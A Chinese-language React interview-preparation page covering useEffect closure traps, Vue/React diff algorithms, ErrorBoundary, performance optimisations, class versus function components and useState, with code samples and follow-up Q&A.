    先确认 React 版本与根节点类型,再按入队顺序标出每次更新是对象值还是更新函数。对象值检查它读取了哪个快照,函数更新则依次代入前一结果;不要用日志与 Promise.then 的先后顺序推断提交时机,因为调度和优先级会影响表现。

  • 支付完成后必须立刻读取已经提交的状态来操作页面,开发者想给所有更新都包一层 flushSync;你会接受这个方案吗?

    只在当前代码行之后确实必须读取已提交结果时使用 flushSync,不应把它作为常规状态更新方式。类组件通常用 setState 的第二个参数,函数组件用依赖该状态的 useEffect;强制退出批处理会牺牲 React 合并和调度更新的空间。

  • 候选人说 setState 是微任务,所以它比 setTimeout 更早执行;你会怎样用更新队列和 startTransition 反驳这个结论?

    setState 本身只是同步调用,它把更新加入 React 队列并请求调度,不等同于浏览器微任务或宏任务。实际的 render 与 commit 受 lane 优先级控制,startTransition 标记的低优先级更新还可能推迟或中断重来,因此不能靠任务类型背固定输出顺序。

# React useEffect闭包陷阱问题

⚡ 30 秒速记

  • 问:按钮点击三次后,定时器输出什么?

按钮点击三次后,定时器仍会反复输出 0,因为它捕获的是首次渲染时的 value。 useEffect 的依赖数组为空,所以副作用只注册一次,后续状态变化虽然会让组件函数重新执行,却不会替换原来的闭包。想让定时器打印最新值,可以把 value 放进依赖数组,让状态变化时重新创建定时器。与此同时要在清理函数里调用 clearInterval,否则每次执行副作用都会留下一个定时器。

问:按钮点击三次后,定时器输出什么?

function useEffectDemo() {
  const [value,setValue] = useState(0)

  useEffect(()=>{
    setInterval(()=>{
      console.log(value)
    },1000)
  }, [])

  const clickHandler = () => {
    setValue(value + 1)
  }

  return (
    <div>
      value: {value} <button onClick={clickHandler}>点击</button>
    </div>
  )
}

答案一直是0 useEffect闭包陷阱问题,useEffect依赖是空的,只会执行一次。setInterval中的value就只会获取它之前的变量。而react有个特点,每次value变化都会重新执行useEffectDemo这个函数。点击了三次函数会执行三次,三次过程中每个函数中value都不一样,setInterval获取的永远是第一个函数里面的0

// 追问:怎么才能打印出3?

function useEffectDemo() {
  const [value,setValue] = useState(0)

  useEffect(()=>{
    const timer = setInterval(()=>{
      console.log(value) // 3
    },1000)
    return ()=>{
      clearInterval(timer) // value变化会导致useEffectDemo函数多次执行,多次执行需要清除上一次的定时器,否则多次注册定时器
    }
  }, [value]) // 这里增加依赖项,每次依赖变化都会重新执行

  const clickHandler = () => {
    setValue(value + 1)
  }

  return (
    <div>
      value: {value} <button onClick={clickHandler}>点击</button>
    </div>
  )
}

💬 面试官追问

  • 监控面板挂载后启动一个每秒打印状态的 setInterval,用户把按钮点到 3,界面显示 3,控制台却一直输出 0;这能用批处理解释吗?

    不能,根因是空依赖的 useEffect 只在首次挂载时建立定时器,回调闭包捕获的是首轮渲染中的 value=0。后续状态变化会产生新的渲染快照,却不会替换原定时器里的回调,因此日志始终读取旧值。

  • 计时页面要求定时器始终打印最新 value,你把依赖从 [] 改成 [value] 后,还必须补哪段生命周期处理?

    必须在 useEffect 返回的清理函数中执行 clearInterval(timer)。每次 value 变化都会先后触发旧副作用清理和新定时器注册;若省略清理,页面会累积多个定时器,同时输出不同渲染轮次捕获的值。

  • 实时仪表盘的 value 每秒变化多次,团队在“每次变化重建定时器”和“继续使用空依赖”之间争论;基于当前实现你会怎样判断?

    若采用 [value],语义直接且能拿到最新值,但每次变化都会清理并重建定时器;采用 [] 则只注册一次,却会固定捕获初始快照。给定代码无法同时满足“永不重建”和“直接读取最新闭包值”,需要调整数据读取方式,而不能漏写依赖掩盖矛盾。

  • 线上页面切换多次后,同一秒出现多条重复日志,用户还反馈离开页面后日志继续增长;你会优先检查什么?

    优先检查 useEffect 是否每次执行都创建了 setInterval,以及返回函数是否用对应的 timer 调用了 clearInterval。再核对依赖数组是否导致频繁重跑;只增加 [value] 而没有清理,会把旧闭包和新闭包同时留在页面中。

  • 按钮可能在同一轮交互中被连续触发多次,事件处理器仍写成 setValue(value + 1);即使定时器依赖已补全,计数是否一定准确?

    不一定,事件处理器读取的仍是当前渲染快照,多次基于同一个 value 计算可能得到相同结果。新值依赖旧值时应使用 setValue(prev => prev + 1);这解决的是更新累加,useEffect 的依赖与定时器清理仍需分别处理。

# Vue React diff 算法有什么区别

⚡ 30 秒速记

  • Vue React diff 不是对比文字,而是 vdom 树,即 tree diff

React、Vue 2 和 Vue 3 的核心区别在于子节点的比较与移动策略。 它们都会把虚拟 DOM 限制在同层比较,标签不同就重建,并通过 key 识别子节点,从而把传统树比较简化到 O(n)。React 比较时只考虑向右移动,Vue 2 使用头尾四个指针做双端比较。Vue 3 还会利用最长递增子序列保留可复用节点,尽量减少真实 DOM 移动,并配合 patchFlag、静态提升和函数缓存优化更新。

diff 算法

  • Vue React diff 不是对比文字,而是 vdom 树,即 tree diff
  • 传统的 tree diff 算法复杂度是 O(n^3) ,算法不可用。

优化

Vue React 都是用于网页开发,基于 DOM 结构,对 diff 算法都进行了优化(或者简化)

  • 只在同一层级比较,不跨层级(DOM 结构的变化,很少有跨层级移动)
  • tag 不同则直接删掉重建,不去对比内部细节(DOM 结构变化,很少有只改外层,不改内层)
  • 同一个节点下的子节点,通过 key 区分

最终把时间复杂度降低到 O(n) ,生产环境下可用。这一点 Vue React 都是相同的。

React diff 特点 - 仅向右移动

比较子节点时,仅向右移动,不向左移动。

Vue2 diff 特点 - 双端比较

定义四个指针,分别比较

  • oldStartNode 和 newStartNode 头头
  • oldStartNode 和 newEndNode 头尾
  • oldEndNode 和 newStartNode 尾头
  • oldEndNode 和 newEndNode 尾尾

然后指针继续向中间移动,直到指针汇合

Vue3 diff 特点 - 最长递增子序列

例如数组 [3,5,7,1,2,8] 的最长递增子序列就是 [3,5,7,8 ] 。这是一个专门的算法。

算法步骤

  • 通过“前-前”比较找到开始的不变节点 [A, B]
  • 通过“后-后”比较找到末尾的不变节点 [G]
  • 剩余的有变化的节点 [F, C, D, E, H]
    • 通过 newIndexToOldIndexMap 拿到 oldChildren 中对应的 index [5, 2, 3, 4, -1] (-1 表示之前没有,要新增)
    • 计算最长递增子序列得到 [2, 3, 4] ,对应的就是 [C, D, E] ,即这些节点可以不变
    • 剩余的节点,根据 index 进行新增、删除

该方法旨在尽量减少 DOM 的移动,达到最少的DOM操作。

总结

  • React diff 特点 - 仅向右移动
  • Vue2 diff 特点 - updateChildren双端比较
  • Vue3 diff 特点 - updateChildren增加了最长递增子序列,更快
    • Vue3增加了patchFlag、静态提升、函数缓存等

连环问:diff 算法中 key 为何如此重要

无论在 Vue 还是 React 中,key 的作用都非常大。以 React 为例,是否使用 key 对内部 DOM 变化影响非常大。

<ul>
  <li v-for="(index, num) in nums" :key="index">
    {{num}}
  </li>
</ul>
const todoItems = todos.map((todo) =>
  <li key={todo.id}>
    {todo.text}
  </li>
)

💬 面试官追问

  • 一个列表只是把第 1000 项移动到开头,候选人说虚拟 DOM 会执行完整的跨层级树比较;对 Vue 和 React 都成立吗?

    不成立,两者都把比较限制在同一层级,节点标签不同通常直接删除并重建,不继续比较内部细节。子节点身份依靠 key 关联,这些约束把通用树比较的高复杂度简化到生产可用的线性量级,但并不代表所有重排策略相同。

  • 消息列表频繁在头部插入数据,开发者使用数组下标作为 key,结果输入框状态跟着位置错位;你会如何解释并修正?

    下标不能稳定表示业务节点,头部插入后同一个 key 会对应不同消息,框架可能复用错误的节点与内部状态。应使用消息自身稳定且唯一的标识作为 key;它只帮助同级匹配,无法把跨层级移动自动识别成原节点。

  • 团队把一个大列表从 Vue 2 升到 Vue 3,评审时有人断言 diff 完全没变;针对中间一段乱序节点,你会指出什么差异?

    Vue 2 的 updateChildren 采用头头、头尾、尾头、尾尾的双端比较并向中间推进。Vue 3 会先跳过首尾不变区,再通过新旧索引映射和最长递增子序列找出可保持不动的节点,以减少剩余区域的 DOM 移动;具体收益取决于重排形态。

  • 看板列从 [A,B,C,D,E,G,F] 变成 [A,B,F,C,D,E,H,G],前端性能排查时为什么要关注最长递增子序列,而不只统计新增节点?

    首尾比较可先确认 [A,B] 和末尾 [G],中间区域再映射到旧索引。最长递增子序列能识别仍保持相对顺序的 [C,D,E],这些节点无需移动;其余节点才执行新增、删除或移动,所以仅统计新增数量不能反映真实 DOM 操作。

  • 同一份万级可排序列表在 React 与 Vue 3 间选型,架构师只凭“都是 O(n)”就认为重排成本相同;这个结论哪里不严谨?

    线性复杂度只描述增长量级,不能抹平子节点移动策略的差异。React 的比较具有仅向右移动的特点,Vue 3 会利用最长递增子序列尽量保留无需移动的节点;实际选择还受组件体系等因素影响,不能仅凭 diff 的一个特征定框架。

  • 一个节点从侧栏移动到内容区后丢失局部状态,开发者已经给它配置了稳定 key,为什么仍不能要求框架复用原节点?

    key 只在同一父节点的子节点比较中标识身份,而两套 diff 都不会把常规比较扩展成跨层级搜索。节点换到另一个层级后通常会被视为旧处删除、新处创建;若必须保留状态,应调整组件或状态归属,而不是依赖 key 穿透层级。

# 如何统一监听React组件报错

⚡ 30 秒速记

  • ErrorBoundary组件

可以在应用外层统一包一层 ErrorBoundary,捕获下级组件渲染阶段的错误并展示降级 UI。 它通过 getDerivedStateFromError 更新状态,再用 componentDidCatch 记录或上报错误。它只覆盖从开始渲染到渲染成功这段过程,点击等 DOM 事件和异步错误捕获不到。事件错误可用 try catch 或 window.onerror,异步错误使用 window.onerror,效果需要在 production 环境查看。

  • ErrorBoundary组件
    • 在react16版本之后,增加了ErrorBoundary组件
    • 监听所有下级组件报错,可降级展示UI
    • 只监听组件渲染时报错,不监听DOM事件错误、异步错误
      • ErrorBoundary没有办法监听到点击按钮时候的在click的时候报错
      • 只能监听组件从一开始渲染到渲染成功这段时间报错,渲染成功后在怎么操作产生的错误就不管了
      • 可用try catch或者window.onerror(二选一)
    • 只在production环境生效(需要打包之后查看效果),dev会直接抛出错误
  • 总结
    • ErrorBoundary监听组件渲染报错
    • 事件报错使用try catch或window.onerror
    • 异步报错使用window.onerror
// ErrorBoundary.js

import React from 'react'

class ErrorBoundary extends React.Component {
  constructor(props) {
    super(props)
    this.state = {
      error: null // 存储当前的报错信息
    }
  }
  static getDerivedStateFromError(error) {
    // 更新 state 使下一次渲染能够显示降级后的 UI
    console.info('getDerivedStateFromError...', error)
    return { error } // return的信息会等于this.state的信息
  }
  componentDidCatch(error, errorInfo) {
    // 统计上报错误信息
    console.info('componentDidCatch...', error, errorInfo)
  }
  render() {
    if (this.state.error) {
      // 提示错误
      return <h1>报错了</h1>
    }

    // 没有错误,就渲染子组件
    return this.props.children
  }
}
// index.js 中使用
import React from 'react';
// 历史写法:React 18 起改用 react-dom/client 的 createRoot,React 19 已移除 ReactDOM.render
// React 19 还可以在 createRoot 的第二个参数里配置 onUncaughtError / onCaughtError 统一上报
import ReactDOM from 'react-dom';
import App from './App';
import ErrorBoundary from './ErrorBoundary'

ReactDOM.render(
  <React.StrictMode>
    <ErrorBoundary>
      <App />
    </ErrorBoundary>
  </React.StrictMode>,
  document.getElementById('root')
);

💬 面试官追问

  • 商品详情页的子组件在渲染阶段读取空数据时报错,页面需要显示降级 UI 并上报组件栈;你会把监听逻辑放在哪里?

    在该页面上层放置 ErrorBoundary,用 getDerivedStateFromError 更新状态并渲染降级 UI,再在 componentDidCatch 中统一上报错误和 errorInfo。它只能捕获下级组件渲染到提交期间的错误,边界自身出错或边界之外的故障仍需另行处理。

  • 用户点击“提交订单”后,onClick 内部抛错,但包住页面的 ErrorBoundary 没有切换到兜底界面;这是边界失效了吗?

    不是,ErrorBoundary 不负责捕获已经完成渲染后的 DOM 事件处理错误。事件逻辑应在合适边界使用 try/catch,或交给 window.onerror 做全局监听;不能因为组件位于边界下方,就假设所有运行时错误都会触发降级 UI。

  • 搜索页发起异步请求后,回调中抛出异常,团队希望只靠一个根级 ErrorBoundary 完成全站监控;这个方案缺什么?

    根级边界不能覆盖异步回调中的异常,因此还需要全局错误监听或在异步链路自身捕获并上报。边界适合处理组件渲染故障和展示兜底,两类通道应汇入同一监控体系;仅设置根边界会留下事件与异步错误盲区。

  • 线上白屏只在生产包出现,本地开发环境直接抛出红色错误覆盖层,开发者因此判断 ErrorBoundary 没执行;你会怎样验证?

    应使用生产构建复现,并确认报错确实发生在边界的下级组件渲染阶段,再观察降级 UI 与 componentDidCatch 上报。开发环境可能直接展示并抛出错误,不能只凭开发界面的表现否定边界;事件或异步错误则应转查对应捕获通道。

  • 大型后台有二十个独立业务区,负责人在“整个应用只放一个边界”和“每个小组件都放边界”之间选型;你会如何划分?

    边界应围绕可独立降级的页面或业务区域放置,让单个区域渲染失败时仍能展示局部兜底。只有根边界会扩大故障影响面,给每个微小组件都包边界又会增加维护和上报噪声;具体粒度取决于哪些区域能够独立恢复。

  • 项目迁到 React 19 后仍沿用 ReactDOM.render 示例,监控负责人还想区分已被边界捕获与未捕获错误;入口层应该怎样调整?

    React 19 已移除 ReactDOM.render,入口应改用 react-dom/client 的 createRoot。可在 createRoot 第二个参数配置 onCaughtError 与 onUncaughtError 统一上报,同时保留 ErrorBoundary 提供组件级降级;事件和异步异常仍不能因此自动纳入边界。

# 在实际工作中,你对React做过哪些优化

⚡ 30 秒速记

  • 修改CSS模拟v-show

我一般从减少无效渲染、降低首屏加载量和控制组件结构三个方向优化 React。 列表使用稳定的 key,组件通过 shouldComponentUpdate、React.PureComponent 或 React.memo 判断是否需要更新,回调和数据则按需用 useCallback、useMemo 缓存。大组件和路由可结合 React.lazy、Suspense 做懒加载,页面层级用 Fragment 减少无意义的包裹节点。频繁切换但需要保留组件的场景,可以修改 CSS 的 display 模拟 v-show,同时避免在反复执行的 JSX 中临时创建函数。

  • 修改CSS模拟v-show
    // 原始写法
    {!flag && <MyComonent style={{display:'none'}} />}
    {flag && <MyComonent />}
    
    // 模拟v-show
    {<MyComonent style={{display:flag ? 'block' : 'none'}} />}
    
  • 循环使用key
    • key不要用index
  • 使用Flagment或<></>空标签包裹减少多个层级组件的嵌套
  • jsx中不要定义函数:JSX会被频繁执行的
    // bad 
    // react中的jsx被频繁执行(state更改)应该避免函数被多次新建
    <button onClick={()=>{}}>点击</button>
    // goods
    function useButton() {
      const handleClick = ()=>{}
      return <button onClick={handleClick}>点击</button>
    }
    
  • 使用shouldComponentUpdate
    • 判断组件是否需要更新
    • 或者使用React.PureComponent比较props第一层属性
    • 函数组件使用React.memo(comp, fn)包裹 function fn(prevProps,nextProps) {// 自己实现对比,像shouldComponentUpdate}
  • Hooks缓存数据和函数
    • useCallback: 缓存回调函数,避免传入的回调每次都是新的函数实例而导致依赖组件重新渲染,具有性能优化的效果
    • useMemo: 用于缓存传入的 props,避免依赖的组件每次都重新渲染
  • 使用异步组件
    import React,{lazy,Suspense} from 'react'
    const OtherComp = lazy(/**webpackChunkName:'OtherComp'**/ ()=>import('./otherComp'))
    
    function MyComp(){
      return (
        <Suspense fallback={<div>loading...</div>}>
          <OtherComp />
        </Suspense>
      )
    }
    
  • 路由懒加载
    import React,{lazy,Suspense} from 'react'
    import {BrowserRouter as Router,Route, Switch} from 'react-router-dom'
    
    const Home = lazy(/**webpackChunkName:'h=Home'**/()=>import('./Home'))
    const List = lazy(/**webpackChunkName:'List'**/()=>import('./List'))
    
    const App = ()=>(
      <Router>
        <Suspense fallback={<div>loading...</div>}>
          <Switch>
            <Route exact path='/' component={Home} />
            <Route exact path='/list' component={List} />
          </Switch>
        </Suspense>
      </Router>
    )
    
  • 使用SSR:Next.js

连环问:你在使用React时遇到过哪些坑

  • 自定义组件的名称首字母要大写
    // 原生html组件
    <input />
    
    // 自定义组件
    <Input />
    
  • JS关键字的冲突
    // for改成htmlFor,class改成className
    <label htmlFor="input-name" className="label">
      用户名 <input id="username" />
    </label>
    
  • JSX数据类型
    // correct
    <Demo flag={true} />
    // error
    <Demo flag="true" />
    
  • setState 不会马上让你读到最新结果
    • 生命周期与 React 合成事件里一定是批处理,写完下一行读 this.state 仍是旧值。
    • React 18 起用 createRoot 后,setTimeout、原生事件、Promise.then 里也同样批处理(automatic batching);React 17 及以前这些场景不批处理,所以看起来像同步。React 19 已移除 ReactDOM.render,没有退回旧行为的选项。
    • 需要拿到提交后的值:类组件用 setState(partial, callback),函数组件用 useEffect 依赖该 state,必须在当前行之后立刻同步读取时才用 flushSync。
    • 完整的三档对照、模拟实现与笔试题见上文「setState 是同步还是异步(按 React 版本分档)」与「React setState 经典笔试题(三档答案对照)」。

💬 面试官追问

  • 筛选面板切换显示状态时,子组件初始化昂贵且必须保留输入内容,开发者用条件渲染反复卸载;你会改成什么方案,有什么代价?

    可让组件持续挂载,仅通过 style={<span class="vp-brace-split" aria-hidden="true"></span>{ display: flag ? 'block' : 'none' }<span class="vp-brace-split" aria-hidden="true"></span>} 控制可见性,从而保留组件状态并避免重复挂载。代价是隐藏组件仍占用内存,相关逻辑也可能继续存在;若无需保留状态或组件长期不用,条件渲染更合适。

  • 表格有大量行,每次父组件更新都给行组件传入新的箭头函数,团队准备把所有回调都套 useCallback;你会怎样收敛这次优化?

    先确认行组件是否通过 React.memo 等机制依赖回调引用稳定来跳过渲染,再对真正跨边界传递的回调使用 useCallback。仅把 JSX 中的函数搬到组件函数内部仍会在每次渲染时创建;全面缓存也会增加依赖管理和理解成本。

  • 一个列表支持排序和头部插入,代码用数组下标作 key,同时用 PureComponent 优化行组件;线上出现行状态错位时应先修哪一处?

    先把 key 改为数据自身稳定且唯一的标识,因为下标会在重排后把旧组件状态对应到另一条数据。PureComponent 只浅比较第一层 props,无法修复身份匹配错误;还要避免原地修改对象,否则浅比较可能漏掉必要更新。

  • 首屏包体过大,路由 /list 很少访问,架构评审在 React.lazy、组件常驻和直接上 SSR 之间争论;你会如何拆分决策?

    先把低频页面通过动态 import 与 React.lazy 延迟加载,并用 Suspense 提供加载态,路由级拆分通常最贴合访问边界。SSR 可由 Next.js 等方案承担,但它不是单纯替代代码分割的开关;是否采用还取决于首屏与部署需求,不能只为一个懒加载点迁移架构。

  • 性能回归后,开发者给所有组件加了 React.memo,却发现部分组件仍重渲染,另一些组件数据不更新;你会查哪些引用与比较行为?

    先检查传入的对象、数组和函数是否每次都产生新引用,这会让浅比较无法跳过渲染;再检查是否原地修改数据,旧引用不变又可能造成漏更新。React.memo、PureComponent 和自定义比较函数都依赖明确的不可变数据约定,比较成本本身也可能抵消收益。

  • 订单保存后下一行代码必须读取已提交状态,开发者把普通更新都改成 flushSync,并声称这样能解决所有异步问题;你会如何取舍?

    只在当前行之后确实必须同步读取已提交结果时保留 flushSync,普通流程应继续让 React 批处理。类组件可用 setState(partial, callback),函数组件可用依赖状态的 useEffect 获取提交后结果;滥用强制同步会减少自动批处理和调度优化空间。

# React真题

⚡ 30 秒速记

    1. 函数组件和class组件区别

这组题主要考组件模型、状态控制、逻辑复用和懒加载这些 React 基础能力。 纯函数形态的函数组件接收 props 并返回 JSX,没有实例、生命周期和 state;受控表单则由 state 管理值,并在 onChange 中同步更新。多个组件的公共逻辑可以抽到 HOC、Render Props 或 React Hooks 中,选择时看现有代码形态。大组件或路由不必一次加载,可以配置异步组件和路由懒加载,减少初始阶段需要加载的内容。

1. 函数组件和class组件区别

  • 纯函数,输入props,输出JSX
  • 没有实例、没有生命周期、没有state
  • 不能拓展其他方法

2. 什么是受控组件

  • 表单的值,受到state控制
  • 需要自行监听onChange,更新state
  • 对比非受控组件

3. 何时使用异步组件

  • 加载大组件
  • 路由懒加载

4. 多个组件有公共逻辑如何抽离

  • HOC高阶组件
  • Render Props
  • React Hooks

5. react router如何配置懒加载

💬 面试官追问

  • 登录页把手机号输入框写成受控组件,但接口回填后用户输入总被覆盖;产品又要求支持“一键清空”,你会怎样判断问题出在受控方式还是状态设计?

    受控组件本身没有问题,覆盖通常来自接口回填与用户输入共同写入同一份 state。应让 value 由状态唯一驱动,在 onChange 中更新,并限制回填只发生在初始化阶段;若表单规模很大,逐字段受控也会增加状态管理成本。

  • 后台首页首屏同时加载图表、富文本编辑器和权限面板,其中编辑器体积明显较大但进入编辑态的用户很少,你会把哪些部分改成异步组件?

    优先异步加载低频且较大的编辑器,路由级页面也适合按访问路径懒加载,首屏必需的权限骨架不应盲目拆分。拆分后还要提供加载态和失败兜底;组件过碎会增加请求与边界管理成本,未必改善体验。

  • 三个业务页面都要复用“请求用户信息并展示加载态”的逻辑,一位同事主张 HOC,另一位坚持 Render Props,新代码已经全面使用函数组件,你会怎么选?

    新函数组件中更适合把请求、加载态和数据整理抽成自定义 Hook,视图仍由各页面自行组合。HOC 与 Render Props 也能复用逻辑,但可能增加组件层级或属性来源追踪成本;若还要兼容大量类组件,再保留适配层更稳妥。

  • 路由懒加载上线后,用户首次进入报表页只看到空白,控制台显示异步模块加载失败,而刷新后偶尔恢复,你会按什么顺序排查?

    先确认路由是否确实指向异步组件,并检查加载边界是否提供了可见的等待和错误状态,再核对静态资源请求及部署产物是否匹配。若旧页面引用了已失效的分块文件,需要部署或缓存策略配合处理;仅增加加载动画无法修复模块失败。

  • 评审中有人说函数组件“没有生命周期和状态,所以复杂页面必须用类组件”,但页面还要复用筛选与分页逻辑,你会如何纠正并完成选型?

    函数组件自身没有类实例,但可用 useState 保存状态、用 useEffect承载副作用,并通过自定义 Hook 复用筛选和分页逻辑。类组件仍可工作,却容易让相关业务散落在多个生命周期方法中;迁移也不应只为形式而重写稳定代码。

# React和Vue的区别(常考)

⚡ 30 秒速记

  • 都是数据驱动视图

React 和 Vue 都以组件化、数据驱动视图和虚拟 DOM 为基础,但开发方式和框架侧重点不同。 React 用 JSX 把结构与逻辑放进 JavaScript,强调函数式组合和单向数据流;Vue 更偏模板与指令,并可用 v-model 做双向绑定。React 更灵活、更底层,通常需要自行选择配套方案;Vue 是渐进式框架,约定和现成能力更多,上手更直观。两者都有组件状态、生命周期和活跃生态,实际选择要看团队对自由度、学习成本及模板或 JSX 的偏好。

共同

  • 都支持组件化
  • 都是数据驱动视图
  • 都用vdom操作DOM

区别

  • React使用JSX拥抱JS,Vue使用模板拥抱HTML
  • React函数式编程,Vue是声明式编程
  • React更多的是自力更生,Vue把你想要的都给你

当比较React和Vue时,以下是一些详细的区别:

  1. 构建方式:
  • React:React是一个用于构建用户界面的JavaScript库。它使用JSX语法,将组件的结构和逻辑放在一起,通过组件的嵌套和组合来构建应用程序。
  • Vue:Vue是一个渐进式框架,可以用于构建整个应用程序或仅用于特定页面的一部分。它使用模板语法,将HTML模板和JavaScript代码分离,通过指令和组件来构建应用程序。
  1. 学习曲线:
  • React:React相对来说更加灵活和底层,需要对JavaScript和JSX有一定的了解。它提供了更多的自由度和灵活性,但也需要更多的学习和理解。
  • Vue:Vue则更加简单和易于上手,它使用了模板语法和一些特定的概念,使得学习和使用起来更加直观。Vue的文档和教程也非常友好和详细。
  1. 数据绑定:
  • React:React使用单向数据流,通过props将数据从父组件传递到子组件。如果需要在子组件中修改数据,需要通过回调函数来实现。
  • Vue:Vue支持双向数据绑定,可以通过v-model指令实现数据的双向绑定。这使得在Vue中处理表单和用户输入更加方便。
  1. 组件化开发:
  • React:React的组件化开发非常灵活,组件可以通过props接收数据,通过state管理内部状态。React还提供了生命周期方法,可以在组件的不同阶段执行特定的操作。
  • Vue:Vue的组件化开发也非常强大,组件可以通过props接收数据,通过data属性管理内部状态。Vue还提供了生命周期钩子函数,可以在组件的不同阶段执行特定的操作。
  1. 生态系统:
  • React:React拥有庞大的生态系统,有许多第三方库和工具可供选择。React还有一个强大的社区支持,提供了大量的教程、文档和示例代码。
  • Vue:Vue的生态系统也很活跃,虽然相对React来说规模较小,但也有许多第三方库和工具可供选择。Vue的文档和教程也非常友好和详细。
  1. 性能:
  • React:React通过虚拟DOM(Virtual DOM)和高效的diff算法来提高性能。它只更新需要更新的部分,减少了对实际DOM的操作次数。
  • Vue:Vue也使用虚拟DOM来提高性能,但它采用了更细粒度的观察机制,可以精确追踪数据的变化,从而减少不必要的更新操作。

💬 面试官追问

  • 招聘系统评审时有人断言“Vue 有双向数据流,而 React 只能做只读页面”;页面包含二十多个可编辑字段,你会怎样指出这句话的问题?

    Vue 的 v-model 提供便捷的双向绑定写法,不等于应用整体放弃可追踪的数据流;React 也能通过 value、状态和回调完成编辑。差别主要在表单表达与约定成本,二十多个字段仍需统一校验和状态边界。

  • 团队要做一个包含组件库、复杂表单和多个业务模块的管理端,成员一半熟悉 HTML 模板、一半偏好 JSX,技术负责人应依据什么选 React 或 Vue?

    应结合团队对模板、指令与 JSX 组合方式的熟悉度,以及现有组件库和第三方工具来选,而不是只比较语法喜好。React 提供更高组合自由度,Vue 的模板与配套约定更集中;换栈会带来培训和迁移成本。

  • 一个每秒接收多次状态变化的监控页出现无效更新,React 负责人说虚拟 DOM 足够快,Vue 负责人则说细粒度追踪一定更快,你会如何推进验证?

    两者都借助虚拟 DOM 减少直接操作,但更新效率还取决于状态粒度、组件边界和实际渲染负载,不能由框架标签直接下结论。应分别定位触发更新的数据与组件,再用同等数据和交互测量;脱离页面结构的结论不可靠。

  • 原本只有一个活动页的项目半年后扩成十条业务路由,还需要统一状态和权限;当初选择“渐进接入”的理由还够不够,你会重新检查什么?

    需要重新检查路由、状态管理、权限和构建工具是否已有稳定组合,以及团队能否维护逐渐扩大的工程约定。Vue 可从局部页面渐进扩展,React 也能通过生态工具组成完整应用;生态选择越自由,统一规范的成本通常越高。

  • 同一份用户卡片在 React 中用 props 和 state,在 Vue 中用 props、data 与模板指令;联调时子组件直接修改父级数据导致状态难追踪,你会怎样统一组件边界?

    两边都应把父级数据作为输入,并通过明确事件或回调表达子组件的修改意图,避免子组件随意改写所有权不属于自己的状态。React 强调单向传递,Vue 的 v-model 只是绑定约定;边界不清时,语法便利会掩盖数据归属问题。

# 7 React Hooks

# class组件存在哪些问题

⚡ 30 秒速记

  • 没有state和setState,只能接收props

class组件的问题主要是大型组件难拆分、业务逻辑容易分散,而且公共逻辑复用比较复杂。 同一块业务常被拆进多个生命周期方法,组件越大,重构和测试的成本就越高。需要跨组件复用时,往往还要借助Mixins、HOC或Render Props,代码结构容易变得绕。相比之下,函数更便于拆分和测试,但默认能力较弱,所以通常用Hooks补足状态和生命周期能力。

  • 函数组件的特点
    • 没有组件实例
    • 没有生命周期
    • 没有state和setState,只能接收props
  • class组件问题
    • 大型组件很难拆分和重构,很难测试
    • 相同的业务逻辑分散到各个方法中,逻辑混乱
    • 复用逻辑变得复杂,如Mixins、HOC、Render Props
  • react组件更易用函数表达
    • React提倡函数式编程,View = fn(props)
    • 函数更灵活,更易于拆分,更易测试
    • 但函数组件太简单,需要增强能力—— 使用hooks

💬 面试官追问

  • 订单详情类组件只有三百行,评审者却说“类组件天然不可测试,必须立即改成函数组件”,而当前迭代只修一个展示缺陷,你会支持重写吗?

    不应仅因它是类组件就判定不可测试或立即重写,三百行也不足以证明结构失控。先确认业务逻辑是否散落在生命周期和实例方法中,再把可独立验证的逻辑抽离;全量迁移会扩大回归范围,未必符合本次迭代目标。

  • 一个千行级类组件把订阅、请求和埋点分别写进多个生命周期方法,取消订阅逻辑又散落在卸载阶段,你会怎样拆而不改变页面行为?

    先按业务关注点配对每组建立、更新和清理逻辑,再逐块提取为函数组件或自定义 Hook,而不是按生命周期名称机械搬运。拆分后需保持依赖和清理时机一致;同时迁移全部逻辑容易引入重复订阅或遗漏清理。

  • 公共权限逻辑已经通过两层 HOC 复用,但调试时同名属性被覆盖;团队既有大量类组件,又开始写函数组件,你会怎样调整复用方式?

    现有类组件可先收紧 HOC 的输入输出并避免同名属性,防止为了统一形式造成大面积改造。新函数组件可把权限判断抽成自定义 Hook,减少包装层级;两套方式并存会增加维护认知,需明确新增代码的默认路径。

  • 把类组件迁成函数组件后,线上出现重复请求和卸载后仍在运行的定时器,但渲染结果正常,你会优先对照哪些代码?

    优先对照原生命周期中的请求触发条件、订阅建立位置和卸载清理逻辑,再检查迁移后的 useEffect 依赖与返回函数。函数组件更易按业务聚合逻辑,但不会自动保证副作用正确;遗漏依赖或清理仍会产生重复执行和资源泄漏。

  • 架构师主张保留 Render Props 以兼容旧类组件,业务负责人希望所有共享逻辑都改成 Hook;在两个月交付窗口下如何取舍?

    稳定且被类组件广泛使用的 Render Props 可暂时保留,新函数组件优先使用自定义 Hook,并在真实修改点逐步迁移。Hook 更便于组合相关逻辑,但类组件不能直接调用;一次性重构会增加交付和回归风险。

# 用useState实现state和setState功能

⚡ 30 秒速记

  • 让函数组件实现state和setState

useState让函数组件拥有了类似state和setState的状态管理能力。 函数组件本身是纯函数,单次执行结束后无法直接保存状态,因此需要用State Hook把状态“钩”进函数,并通过闭包保存。调用useState(0)会得到当前状态和更新函数,例如count与setCount,更新后组件会使用新状态重新渲染。所有Hook都应以use开头,自定义Hook也要遵守这个命名规范。

让函数组件实现state和setState

  • 默认函数组件没有state
  • 函数组件是一个纯函数,执行完即销毁,无法存储state
  • 需要state hook,即把state“钩”到纯函数中(保存到闭包中)

hooks命名规范

  • 规定所有的hooks都要以use开头,如useXX
  • 自定义hook也要以use开头
// 使用hooks
import React, { useState } from 'react'

function ClickCounter() {
    // 数组的解构
    // useState 就是一个 Hook “钩”,最基本的一个 Hook
    const [count, setCount] = useState(0) // 传入一个初始值

    const [name, setName] = useState('test')

    // const arr = useState(0)
    // const count = arr[0]
    // const setCount = arr[1]

    function clickHandler() {
        setCount(count + 1)
        setName(name + '2020')
    }

    return <div>
        <p>你点击了 {count} 次 {name}</p>
        <button onClick={clickHandler}>点击</button>
    </div>
}

export default ClickCounter
// 使用class

import React from 'react'

class ClickCounter extends React.Component {
    constructor() {
        super()

        // 定义 state
        this.state = {
            count: 0,
            name: 'test'
        }
    }
    render() {
        return <div>
            <p>你点击了 {this.state.count} 次 {this.state.name}</p>
            <button onClick={this.clickHandler}>点击</button>
        </div>
    }
    clickHandler = ()=> {
        // 修改 state
        this.setState({
            count: this.state.count + 1,
            name: this.state.name + '2020'
        })
    }
}

export default ClickCounter

💬 面试官追问

